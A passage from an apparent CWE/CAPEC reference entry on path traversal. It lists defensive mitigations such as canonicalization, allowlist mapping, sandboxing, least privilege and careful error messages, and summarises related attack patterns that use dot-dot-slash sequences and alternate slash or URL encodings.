- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.